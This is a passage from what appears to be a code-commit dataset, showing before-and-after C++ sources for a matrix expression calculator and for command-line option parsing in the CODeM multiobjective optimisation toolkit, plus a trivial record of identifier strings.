NumMatrix::fromNumber((*a[0])[int((*a[1])[0][0])][int((*a[2])[0][0])]);\n }}}\n };\n cout << \"Expression: \";\n string s = safeGetline();\n auto v = splitExpression(s);\n map<char, NumMatrix> mmap;\n vector<pair<token_type, string> > opst;\n vector<NumMatrix> st;\n int st_size = 0;\n for (pair<token_type, string> &i : v)\n {\n switch (i.first)\n {\n case TOKEN_NUMBER:\n case TOKEN_MATRIX:\n ++st_size;\n break;\n case TOKEN_OP:\n while (opst.size() && opst.back().first == TOKEN_OP &&\n priority[int(i.second[0])] + rightassoc[int(i.second[0])] <=\n priority[int(opst.back().second[0])])\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (st_size <= 0)\n die(\"Invalid expression\");\n case TOKEN_FUNC:\n if (!operations.count(i.second))\n die(\"Invalid function: \" + i.second);\n case TOKEN_LEFTPAR:\n opst.push_back(i);\n break;\n case TOKEN_RIGHTPAR:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (opst.empty() || st_size <= 0)\n die(\"Invalid expression\");\n opst.pop_back();\n if (opst.size() && opst.back().first == TOKEN_FUNC)\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n break;\n case TOKEN_COMMA:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (opst.empty() || st_size <= 0)\n die(\"Invalid expression\");\n break;\n }\n }\n while (opst.size())\n {\n if (opst.back().first == TOKEN_LEFTPAR || opst.back().first == TOKEN_RIGHTPAR)\n die(\"Invalid expression\");\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (st_size != 1)\n die(\"Invalid expression\");\n for (pair<token_type, string> &i : v)\n {\n NumMatrix tt(1, 1);\n istringstream is;\n switch (i.first)\n {\n case TOKEN_NUMBER:\n is.str(i.second);\n is >> tt[0][0];\n st.push_back(tt);\n break;\n case TOKEN_MATRIX:\n if (!mmap.count(i.second[0]))\n mmap[i.second[0]] = getMatrix<NumMatrix>(string(\"Matrix \") + i.second + ':');\n st.push_back(mmap[i.second[0]]);\n break;\n case TOKEN_OP:\n while (opst.size() && opst.back().first == TOKEN_OP &&\n priority[int(i.second[0])] + rightassoc[int(i.second[0])] <=\n priority[int(opst.back().second[0])])\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n case TOKEN_FUNC:\n case TOKEN_LEFTPAR:\n opst.push_back(i);\n break;\n case TOKEN_RIGHTPAR:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n opst.pop_back();\n if (opst.size() && opst.back().first == TOKEN_FUNC)\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n break;\n case TOKEN_COMMA:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n break;\n }\n }\n while (opst.size())\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n cout << \"Result:\\n\" << st[0];\n}\n\n\nint main(int argc, char **argv)\n{\n try\n {\n if (argc == 1)\n {\n f_expr<Rational>();\n }\n else\n {\n _FINITE_ORDER = atoi(argv[1]);\n if(_FINITE_ORDER < 2)\n die(\"Order must be at least 2\");\n f_expr<Finite>();\n }\n }\n catch (matrix_error e)\n {\n cout << \"Matrix error: \" << e.what() << endl;\n return 1;\n }\n return 0;\n}\n<commit_msg>Типизация<commit_after>#include \"matrix.h\"\n#include \"parser.h\"\n#include \"finite.h\"\n#include <iostream>\n#include <map>\n#include <sstream>\n#include <cstdlib>\n\nusing namespace std;\n\nvoid die(const string &s)\n{\n cout << s << endl;\n exit(1);\n}\n\nstring safeGetline()\n{\n string s;\n while (s.empty())\n {\n getline(cin, s);\n while (s.size() && isspace(s.back()))\n s.pop_back();\n }\n return s;\n}\n\ntemplate<class FMatrix>\nFMatrix getMatrix(string prompt)\n{\n string s, sum;\n cout << prompt << endl;\n s = safeGetline();\n unsigned width = 0, height = 0;\n while (s.length())\n {\n istringstream is;\n is.str(s);\n unsigned cwidth = 0;\n Rational dummy;\n while (is >> dummy)\n ++cwidth;\n if (!cwidth)\n break;\n if (width && width != cwidth)\n die(\"Incorrect matrix\");\n width = cwidth;\n ++height;\n sum += s + ' ';\n getline(cin, s);\n }\n FMatrix m(height, width);\n istringstream is;\n is.str(sum);\n is >> m;\n return m;\n}\n\ntemplate<class NumMatrix>\nvoid processOp(string op, vector<NumMatrix> &st,\n map<string, pair<int, NumMatrix (*)(const vector<NumMatrix *> &)> > &operations)\n{\n if (operations[op].first == 1)\n {\n st.back() = operations[op].second({&st.back()});\n }\n else if (operations[op].first == 2)\n {\n NumMatrix a = st.back();\n st.pop_back();\n st.back() = operations[op].second({&st.back(), &a});\n }\n else\n {\n NumMatrix a = st.back();\n st.pop_back();\n NumMatrix b = st.back();\n st.pop_back();\n st.back() = operations[op].second({&st.back(), &b, &a});\n }\n}\n\ntemplate<class Field>\nstruct _NumMatrix\n{\n union\n {\n int im;\n Matrix<Field> fm;\n };\n bool is_int;\n\n _NumMatrix(): im(0), is_int(true) {}\n\n _NumMatrix(const _NumMatrix &a): is_int(a.is_int)\n {\n if (is_int)\n im = a.im;\n else\n {\n new(&fm) Matrix<Field>();\n fm = a.fm;\n }\n }\n\n _NumMatrix(int a): im(a), is_int(true) {}\n\n _NumMatrix(const Matrix<Field> &a): fm(a), is_int(false) {}\n\n _NumMatrix(const Field &a): fm(Matrix<Field>::fromNumber(a)), is_int(false) {}\n\n _NumMatrix &operator=(const _NumMatrix &a)\n {\n if(this == &a)\n return *this;\n if(!is_int && a.is_int)\n fm.~Matrix();\n is_int = a.is_int;\n if(is_int)\n im = a.im;\n else\n fm = a.fm;\n return *this;\n }\n\n Matrix<Field> toMatrix() const\n {\n if (is_int)\n return Matrix<Field>::fromNumber(Field(im));\n else\n return fm;\n }\n\n ~_NumMatrix()\n {\n if (!is_int)\n fm.~Matrix();\n }\n\n _NumMatrix operator*(const _NumMatrix &m) const\n {\n if (is_int && m.is_int)\n return im * m.im;\n if (is_int)\n return m.fm * Field(im);\n if (m.is_int)\n return fm * Field(m.im);\n if (fm.width() == 1 && fm.height() == 1)\n return m.fm * fm[0][0];\n if (m.fm.width() == 1 && m.fm.height() == 1)\n return fm * m.fm[0][0];\n return fm * m.fm;\n }\n\n _NumMatrix operator\/(const _NumMatrix &m) const\n {\n return operator*(m.toMatrix().inverted());\n }\n\n _NumMatrix operator+(const _NumMatrix &m) const\n {\n if (is_int && m.is_int)\n return im + m.im;\n return toMatrix() + m.toMatrix();\n }\n\n _NumMatrix operator-() const\n {\n if (is_int)\n return -im;\n else\n return -fm;\n }\n\n};\n\ntemplate<class Field>\nvoid f_expr()\n{\n typedef _NumMatrix<Field> NumMatrix;\n map<string, pair<int, NumMatrix (*)(const vector<NumMatrix *> &)> > operations =\n {\n {\"+\", {2, [](const vector<NumMatrix *> &a) { return *a[0] + *a[1]; }}},\n {\"^\", {2, [](const vector<NumMatrix *> &a) {\n if (!a[1]->is_int)\n die(\"Invalid use of ^: integer required\");\n return NumMatrix(a[0]->toMatrix().power(a[1]->im));\n }}},\n {\"*\", {2, [](const vector<NumMatrix *> &a) {\n return *a[0] * *a[1];\n }}},\n {\"\/\", {2, [](const vector<NumMatrix *> &a) {\n return *a[0] \/ *a[1];\n }}},\n {\"-\", {2, [](const vector<NumMatrix *> &a) { return *a[0] + -*a[1]; }}},\n {\"_\", {1, [](const vector<NumMatrix *> &a) { return -*a[0]; }}},\n {\"det\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().det()); }}},\n {\"rank\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().rank()); }}},\n {\"trace\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().trace()); }}},\n {\"t\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().transposed()); }}},\n {\"inv\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().inverted()); }}},\n {\"id\", {1, [](const vector<NumMatrix *> &a) {\n if (!a[1]->is_int)\n die(\"Invalid use of id\");\n return NumMatrix(Matrix<Field>::identity(abs(a[0]->im)));\n }}},\n {\"=\", {2, [](const vector<NumMatrix *> &a) {\n return NumMatrix(a[0]->toMatrix() == a[1]->toMatrix());\n }}},\n {\"width\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().width()); }}},\n {\"height\", {1, [](const vector<NumMatrix *> &a) { return NumMatrix(a[0]->toMatrix().height()); }}},\n {\"solve\", {1, [](const vector<NumMatrix *> &a) {\n unsigned sz = a[0]->toMatrix().height();\n if (!sz || a[0]->toMatrix().width() != sz + 1)\n die(\"Invalid use of solve: N*N+1 matrix required\");\n Matrix<Field> sys = a[0]->toMatrix().submatrix(0, 0, sz - 1, sz - 1);\n Matrix<Field> right = a[0]->toMatrix().submatrix(0, sz, sz - 1, sz);\n sys.inverseExt(right);\n return NumMatrix(right.transposed());\n }}},\n {\"at\", {3, [](const vector<NumMatrix *> &a) {\n if (!a[1]->is_int || !a[2]->is_int)\n die(\"Invalid use of at\");\n if (a[1]->im < 0 || a[1]->im >= int(a[0]->toMatrix().height()) ||\n a[2]->im < 0 || a[2]->im >= int(a[0]->toMatrix().width()))\n die(\"at: out of range\");\n return NumMatrix(a[0]->toMatrix()[a[1]->im][a[2]->im]);\n }}}\n };\n cout << \"Expression: \";\n string s = safeGetline();\n auto v = splitExpression(s);\n map<char, NumMatrix> mmap;\n vector<pair<token_type, string> > opst;\n vector<NumMatrix> st;\n int st_size = 0;\n for (pair<token_type, string> &i : v)\n {\n switch (i.first)\n {\n case TOKEN_NUMBER:\n case TOKEN_MATRIX:\n ++st_size;\n break;\n case TOKEN_OP:\n while (opst.size() && opst.back().first == TOKEN_OP &&\n priority[int(i.second[0])] + rightassoc[int(i.second[0])] <=\n priority[int(opst.back().second[0])])\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (st_size <= 0)\n die(\"Invalid expression\");\n case TOKEN_FUNC:\n if (!operations.count(i.second))\n die(\"Invalid function: \" + i.second);\n case TOKEN_LEFTPAR:\n opst.push_back(i);\n break;\n case TOKEN_RIGHTPAR:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (opst.empty() || st_size <= 0)\n die(\"Invalid expression\");\n opst.pop_back();\n if (opst.size() && opst.back().first == TOKEN_FUNC)\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n break;\n case TOKEN_COMMA:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (opst.empty() || st_size <= 0)\n die(\"Invalid expression\");\n break;\n }\n }\n while (opst.size())\n {\n if (opst.back().first == TOKEN_LEFTPAR || opst.back().first == TOKEN_RIGHTPAR)\n die(\"Invalid expression\");\n st_size -= operations[opst.back().second].first - 1;\n opst.pop_back();\n }\n if (st_size != 1)\n die(\"Invalid expression\");\n for (pair<token_type, string> &i : v)\n {\n Rational tt;\n istringstream is, iis;\n switch (i.first)\n {\n case TOKEN_NUMBER:\n is.str(i.second);\n is >> tt;\n if(tt == int(tt))\n st.push_back(NumMatrix(int(tt)));\n else\n {\n Field tf;\n iis.str(i.second);\n iis >> tf;\n st.push_back(NumMatrix(tf));\n }\n break;\n case TOKEN_MATRIX:\n if (!mmap.count(i.second[0]))\n mmap[i.second[0]] = getMatrix<Matrix<Field>>(string(\"Matrix \") + i.second + ':');\n st.push_back(mmap[i.second[0]]);\n break;\n case TOKEN_OP:\n while (opst.size() && opst.back().first == TOKEN_OP &&\n priority[int(i.second[0])] + rightassoc[int(i.second[0])] <=\n priority[int(opst.back().second[0])])\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n case TOKEN_FUNC:\n case TOKEN_LEFTPAR:\n opst.push_back(i);\n break;\n case TOKEN_RIGHTPAR:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n opst.pop_back();\n if (opst.size() && opst.back().first == TOKEN_FUNC)\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n break;\n case TOKEN_COMMA:\n while (opst.size() && opst.back().first != TOKEN_LEFTPAR)\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n break;\n }\n }\n while (opst.size())\n {\n processOp(opst.back().second, st, operations);\n opst.pop_back();\n }\n cout << \"Result:\\n\" << st[0].toMatrix();\n}\n\n\nint main(int argc, char **argv)\n{\n try\n {\n if (argc == 1)\n {\n f_expr<Rational>();\n }\n else\n {\n _FINITE_ORDER = atoi(argv[1]);\n if (_FINITE_ORDER < 2)\n die(\"Order must be at least 2\");\n f_expr<Finite>();\n }\n }\n catch (matrix_error e)\n {\n cout << \"Matrix error: \" << e.what() << endl;\n return 1;\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>8d6dfd8e-2d14-11e5-af21-0401358ea401<commit_msg>8d6dfd8f-2d14-11e5-af21-0401358ea401<commit_after>8d6dfd8f-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** The MIT License (MIT)\n**\n** Copyright (c) 2016 The University of Sheffield (www.sheffield.ac.uk)\n**\n** Permission is hereby granted, free of charge, to any person obtaining a copy\n** of this software and associated documentation files (the \"Software\"), to deal\n** in the Software without restriction, including without limitation the rights\n** to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n** copies of the Software, and to permit persons to whom the Software is\n** furnished to do so, subject to the following conditions:\n**\n** The above copyright notice and this permission notice shall be included in all\n** copies or substantial portions of the Software.\n**\n** THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n** FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n** AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n** OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n** SOFTWARE\n**\n****************************************************************************\/\n#include <misc\/CODeMMisc.h>\n#include <misc\/examples\/CODeMProblems.h>\n#include <core\/CODeMGlobal.h>\n\n#include <random>\n#include <ctime>\n#include <iostream>\n#include <stdio.h>\n#include <string>\n\nusing namespace std;\nusing namespace CODeM;\n\ninline void defineSeed(int seed) {std::srand(seed);}\ninline void randomSeed() {std::srand((unsigned)std::time(0));}\n\nvoid dispVector(vector<double> vec, string sep=\", \", string endVec=\"; \")\n{\n for(auto i = vec.begin(); i != (vec.end() -1); ++i) {\n cout << *i << sep;\n }\n cout << vec.back() << endVec;\n}\n\nvoid showUsage(progName) {\n\n printf(\"\\n\"\n \"Usage: %s [OPTION(S)]\\n\\n\", progName);\n\n printf(\n\"This program evaluates a set of candidate solutions for an uncertain \\n\"\n\" multiobjective optimization problem using the CODeM toolkit. The output of the\\n\"\n\" program is a set of decision vectors and a set of objective vectors for each \\n\"\n\" decision vector. The objective vectors for every solution represent different \\n\"\n\" samples from the random variate. \\n\\n\"\n\n\"Options: \\n\"\n\" -h, --help Print this summary and exit. \\n\"\n\" -v, --version Print version number and exit. \\n\"\n\" -f, --file = FILENAME An input file with all the configuration options. \\n\"\n\" If FILENAME is not specified, the options are \\n\"\n\" configured from the command. FILENAME may include a \\n\"\n\" relative or absolute path. \\n\"\n\" -o, --output = FILENAME A file to write the outputs. If FILENAME is not \\n\"\n\" specified, the output is printed to the console. \\n\"\n\" -p, --problem = NUMBER A chioce of benchmark problem from the CODeM suite. \\n\"\n\" Use NUMBER = 0 for the problem in the GECCO'16 \\n\"\n\" paper. Use NUMBER = 1,...,6 for CODeM1,...,CODeM6. \\n\"\n\" -x, --solSet = SET A set of decision vectors to evaluate. SET needs to \\n\"\n\" be provided within double qoutes, where each vector \\n\"\n\" is separated with a semicolon, and the elements \\n\"\n\" within a vector separated with a space. e.g., a set \\n\"\n\" of three vectors with two variables each: \\n\"\n\" SET = \\\"1.1 1.2; 2.1 2.2; 3.0 4.0\\\" \\n\"\n\" If SET is not specified two defalut sets are \\n\"\n\" generated: one with solutions that are optimal for \\n\"\n\" the deterministic problem, and one with random \\n\"\n\" vectors. Their sizes are specified with the -s and \\n\"\n\" -n options. \\n\"\n\" -m, --nObj = NUMBER The dimensionality of the objective space. If NUMBER\\n\"\n\" is not specified, the default is 2 objectives. \\n\"\n\" -d, --nVars = NUMBER The dimensionality of the decision space. If NUMBER \\n\"\n\" is not specified, the default is nObj + 10. \\n\"\n\" -s, --nSols = NUMBER The number of decision vectors to evaluate. Two \\n\"\n\" sets of size NUMBER are generated: one with \\n\"\n\" solutions that are optimal for the deterministic \\n\"\n\" problem, and one with random vectors. If NUMBER is \\n\"\n\" not specified, the default value is NUMBER = 10. \\n\"\n\" -n, --nSamps = NUMBER The number of function evaluations for each decision\\n\"\n\" vector. if NUMER is not specified, the default value\\n\"\n\" is NUMBER = 5.\"\n\"\\n\");\n\n}\n\n\n\/\/int main(int argc, char* argv[])\n\/\/{\n\/\/ if (argc < 3) {\n\/\/ showUsage(argv[0]);\n\/\/ return 1;\n\/\/ }\n\/\/ std::vector <std::string> sources;\n\/\/ std::string destination;\n\/\/ for (int i = 1; i < argc; ++i) {\n\/\/ std::string arg = argv[i];\n\/\/ if ((arg == \"-h\") || (arg == \"--help\")) {\n\/\/ show_usage(argv[0]);\n\/\/ return 0;\n\/\/ } else if ((arg == \"-d\") || (arg == \"--destination\")) {\n\/\/ if (i + 1 < argc) { \/\/ Make sure we aren't at the end of argv!\n\/\/ destination = argv[i++]; \/\/ Increment 'i' so we don't get the argument as the next argv[i].\n\/\/ } else { \/\/ Uh-oh, there was no argument to the destination option.\n\/\/ std::cerr << \"--destination option requires one argument.\" << std::endl;\n\/\/ return 1;\n\/\/ }\n\/\/ } else {\n\/\/ sources.push_back(argv[i]);\n\/\/ }\n\/\/ }\n\/\/ return move(sources, destination);\n\/\/}\n\n\nint main(int argc, char** argv)\n{\n for(int i = 0; i < argc; ++i) {\n cout << \"Argument \" << i << \": \" << argv[i] << endl;\n }\n return 0;\n}\n\n\/\/int main()\n\/\/{\n\/\/ defineSeed(0);\n\n\/\/ int nObj = 2;\n\/\/ int nVar = 6;\n\/\/ int nPareto = 5;\n\/\/ int nRand = 10;\n\/\/ int nSamp = 50;\n\n\/\/ vector<vector<double> > paretoDeterministic;\n\/\/ vector<vector<double> > randDeterministic;\n\/\/ vector<vector<vector<double> > > paretoObj;\n\/\/ vector<vector<vector<double> > > randObj;\n\n\/\/ vector<vector<double> > paretoDirVars = simplexLattice(nPareto-1, 2);\n\n\/\/ \/\/ Pareto optimal vectors\n\/\/ for(int i=0; i<paretoDirVars.size(); i++) {\n\/\/ vector<double> iVec(nVar, 0.5);\n\/\/ iVec[0] = paretoDirVars[i][0];\n\/\/ vector<double> determObjVec = deterministicOVec(7, iVec, nObj);\n\/\/ paretoDeterministic.push_back(determObjVec);\n\/\/ vector<vector<double> > oVecSamps = CODeM::GECCOExample(iVec, nObj, nSamp);\n\/\/ paretoObj.push_back(oVecSamps);\n\/\/ }\n\n\/\/ \/\/ Random vectors\n\/\/ for(int i=0; i<nRand; i++) {\n\/\/ vector<double> iVec;\n\/\/ for(int j=0; j<nVar; j++) {\n\/\/ iVec.push_back(randUni());\n\/\/ }\n\/\/ vector<double> determObjVec = deterministicOVec(7, iVec, nObj);\n\/\/ randDeterministic.push_back(determObjVec);\n\/\/ vector<vector<double> > oVecSamps = CODeM::GECCOExample(iVec, nObj, nSamp);\n\/\/ randObj.push_back(oVecSamps);\n\/\/ }\n\n\/\/ \/\/ Display the results\n\/\/ cout << \"\\n% Optimal vectors:\" << endl;\n\/\/ for(int v=0; v<paretoObj.size(); v++) {\n\/\/ cout << \"paretoObj{\" << v+1 << \"} = [\";\n\/\/ for(int i=0; i<paretoObj[v].size(); i++) {\n\/\/ dispVector(paretoObj[v][i]);\n\/\/ }\n\/\/ cout << \"];\" << endl;\n\/\/ }\n\n\/\/ cout << \"\\n% Random vectors:\" << endl;\n\/\/ for(int v=0; v<randObj.size(); v++) {\n\/\/ cout << \"randObj{\" << v+1 << \"} = [\";\n\/\/ for(int i=0; i<randObj[v].size(); i++) {\n\/\/ dispVector(randObj[v][i]);\n\/\/ }\n\/\/ cout << \"];\" << endl;\n\/\/ }\n\n\/\/ cout << \"\\n% Optimal deterministic vectors:\" << endl;\n\/\/ cout << \"determOptimal = [\";\n\/\/ for(int i=0; i<paretoDeterministic.size(); i++) {\n\/\/ dispVector(paretoDeterministic[i]);\n\/\/ }\n\/\/ cout << \"];\" << endl;\n\n\/\/ cout << \"\\n% Random deterministic vectors:\" << endl;\n\/\/ cout << \"determRand = [\";\n\/\/ for(int i=0; i<randDeterministic.size(); i++) {\n\/\/ dispVector(randDeterministic[i]);\n\/\/ }\n\/\/ cout << \"];\\n\" << endl;\n\n\/\/ return 0;\n\/\/}\n<commit_msg>enabled command line argument input<commit_after>\/****************************************************************************\n**\n** The MIT License (MIT)\n**\n** Copyright (c) 2016 The University of Sheffield (www.sheffield.ac.uk)\n**\n** Permission is hereby granted, free of charge, to any person obtaining a copy\n** of this software and associated documentation files (the \"Software\"), to deal\n** in the Software without restriction, including without limitation the rights\n** to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n** copies of the Software, and to permit persons to whom the Software is\n** furnished to do so, subject to the following conditions:\n**\n** The above copyright notice and this permission notice shall be included in all\n** copies or substantial portions of the Software.\n**\n** THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n** FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n** AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n** OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n** SOFTWARE\n**\n****************************************************************************\/\n#include <misc\/CODeMMisc.h>\n#include <misc\/examples\/CODeMProblems.h>\n#include <core\/CODeMGlobal.h>\n\n#include <random>\n#include <ctime>\n#include <iostream>\n#include <stdio.h>\n#include <string>\n\nusing namespace std;\nusing namespace CODeM;\n\ninline void defineSeed(int seed) {std::srand(seed);}\ninline void randomSeed() {std::srand((unsigned)std::time(0));}\n\nvoid printVector(vector<double> vec, string sep=\", \", string endVec=\"; \")\n{\n for(auto i = vec.begin(); i != (vec.end() -1); ++i) {\n cout << *i << sep;\n }\n cout << vec.back() << endVec;\n}\n\nvoid showUsage(char* progName)\n{\n cout << \"\\nUsage: \" << progName << \" [OPTION(S)]\\n\\n\";\n\n cout <<\n\"This program evaluates a set of candidate solutions for an uncertain \\n\"\n\" multiobjective optimization problem using the CODeM toolkit. The output of the\\n\"\n\" program is a set of decision vectors and a set of objective vectors for each \\n\"\n\" decision vector. The objective vectors for every solution represent different \\n\"\n\" samples from the random variate. \\n\\n\"\n\n\"Options: \\n\"\n\"-------- \\n\"\n\" -h, --help Print this summary and exit. \\n\\n\"\n\/\/\" -i, --inFile = FILENAME An input file with all the configuration options. \\n\"\n\/\/\" If FILENAME is not specified, the options are \\n\"\n\/\/\" configured from the command. FILENAME may include a \\n\"\n\/\/\" relative or absolute path. \\n\\n\"\n\" -f, --file = FILENAME A file to write the outputs. If FILENAME is not \\n\"\n\" specified, the output is printed to the console. \\n\\n\"\n\" -p, --problem = NUMBER A chioce of benchmark problem from the CODeM suite. \\n\"\n\" Use NUMBER = 0 for the problem in the GECCO'16 \\n\"\n\" paper. Use NUMBER = 1,...,6 for CODeM1,...,CODeM6. \\n\"\n\" Default is NUMBER = 0. \\n\\n\"\n\/\/\" -x, --solSet = SET A set of decision vectors to evaluate. SET needs to \\n\"\n\/\/\" be provided within double qoutes, where each vector \\n\"\n\/\/\" is separated with a semicolon, and the elements \\n\"\n\/\/\" within a vector separated with a space. e.g., a set \\n\"\n\/\/\" of three vectors with two variables each: \\n\"\n\/\/\" SET = \\\"1.1 1.2; 2.1 2.2; 3.0 4.0\\\" \\n\"\n\/\/\" If SET is not specified two defalut sets are \\n\"\n\/\/\" generated: one with solutions that are optimal for \\n\"\n\/\/\" the deterministic problem, and one with random \\n\"\n\/\/\" vectors. Their sizes are specified with the -s and \\n\"\n\/\/\" -n options. \\n\\n\"\n\" -m, --nObj = NUMBER The dimensionality of the objective space. If NUMBER\\n\"\n\" is not specified, the default is 2 objectives. \\n\\n\"\n\" -d, --nVars = NUMBER The dimensionality of the decision space. If NUMBER \\n\"\n\" is not specified, the default is 10, or nobj + 1 \\n\"\n\" when nObj >= 9. \\n\\n\"\n\" -s, --nSols = NUMBER The number of decision vectors to evaluate. Two \\n\"\n\" sets of size NUMBER are generated: one with \\n\"\n\" solutions that are optimal for the deterministic \\n\"\n\" problem, and one with random vectors. If NUMBER is \\n\"\n\" not specified, the default value is NUMBER = 10. \\n\\n\"\n\" -n, --nSamps = NUMBER The number of function evaluations for each decision\\n\"\n\" vector. if NUMER is not specified, the default value\\n\"\n\" is NUMBER = 5. \\n\\n\"\n\" -r, --rndSeed = NUMBER The seed for the pseudo-random number generator. If \\n\"\n\" NUMBER is not specified, the default seed is 0. For \\n\"\n\" a random seed, based on the CPU time, provide a \\n\"\n\" negative value for NUMBER. \\n\"\n\"\\n\";\n}\n\nint main(int argc, char** argv)\n{\n if (argc < 2) {\n showUsage(argv[0]);\n return EXIT_FAILURE;\n }\n\n \/\/ set defaults\n int seed = 0;\n int nObj = 2;\n int nVars = 10;\n int nSols = 10;\n int nSamps = 5;\n int prob = 0;\n\n\n int argInd = 1;\n while(argInd < argc) {\n string arg = argv[argInd++];\n\n if ((arg == \"-h\") || (arg == \"--help\")) {\n showUsage(argv[0]);\n return EXIT_SUCCESS;\n\n } else if ((arg == \"-f\") || (arg == \"--file\")) {\n if (argInd < argc) {\n freopen(argv[argInd++], \"w\", stdout);\n } else {\n cerr << \"--file option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n\n } else if ((arg == \"-p\") || (arg == \"--problem\")) {\n if (argInd < argc) {\n int argI = atoi(argv[argInd++]);\n if((argI >= 0) && (argI <= 6)) {\n prob = argI;\n } else {\n cerr << \"Invalid argument for --problem option: Requires a \"\n \"number between 0-6.\" << endl;\n return EXIT_FAILURE;\n }\n } else {\n cerr << \"--problem option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n \/\/ TODO: accept a set to evaluate\n \/\/ } else if ((arg == \"-x\") || (arg == \"--solSet\")) {\n \/\/ if (argInd < argc) {\n\n \/\/ } else {\n \/\/ cerr << \"--solSet option requires one argument.\" << endl;\n \/\/ return EXIT_FAILURE;\n \/\/ }\n\n } else if ((arg == \"-m\") || (arg == \"--nObj\")) {\n if (argInd < argc) {\n int argI = atoi(argv[argInd++]);\n if(argI >= 2) {\n nObj = argI;\n } else {\n cerr << \"Invalid argument for --nObj option: Number of \"\n \"objectives must be larger than 1.\" << endl;\n return EXIT_FAILURE;\n }\n } else {\n cerr << \"--nObj option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n\n } else if ((arg == \"-d\") || (arg == \"--nVars\")) {\n if (argInd < argc) {\n int argI = atoi(argv[argInd++]);\n if(argI >= 3) {\n nVars = argI;\n } else {\n cerr << \"Invalid argument for --nVars option: Number of \"\n \"variables must be larger than 2.\" << endl;\n return EXIT_FAILURE;\n }\n } else {\n cerr << \"--nVars option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n\n } else if ((arg == \"-s\") || (arg == \"--nSols\")) {\n if (argInd < argc) {\n int argI = atoi(argv[argInd++]);\n if(argI >= 0) {\n nSols = argI;\n } else {\n cerr << \"Invalid argument for --nSols option: Number of \"\n \"solutions must be larger than 0.\" << endl;\n return EXIT_FAILURE;\n }\n } else {\n cerr << \"--nSols option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n\n } else if ((arg == \"-n\") || (arg == \"--nSamps\")) {\n if (argInd < argc) {\n int argI = atoi(argv[argInd++]);\n if(argI >= 0) {\n nSamps = argI;\n } else {\n cerr << \"Invalid argument for --nSamps option: Number of \"\n \"solutions must be larger than 0.\" << endl;\n return EXIT_FAILURE;\n }\n } else {\n cerr << \"--nSamps option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n\n } else if ((arg == \"-r\") || (arg == \"--rndSeed\")) {\n if (argInd < argc) {\n seed = atoi(argv[argInd++]);\n } else {\n cerr << \"--rndSeed option requires one argument.\" << endl;\n return EXIT_FAILURE;\n }\n } else {\n cerr << \"Unknown argument \" << arg << endl;\n return EXIT_FAILURE;\n }\n }\n\n if(seed < 0) {\n randomSeed();\n } else {\n defineSeed(seed);\n }\n\n cout << \"seed = \" << seed << endl;\n cout << \"nObj = \" << nObj << endl;\n cout << \"nVars = \" << nVars << endl;\n cout << \"nSols = \" << nSols << endl;\n cout << \"nSamps = \" << 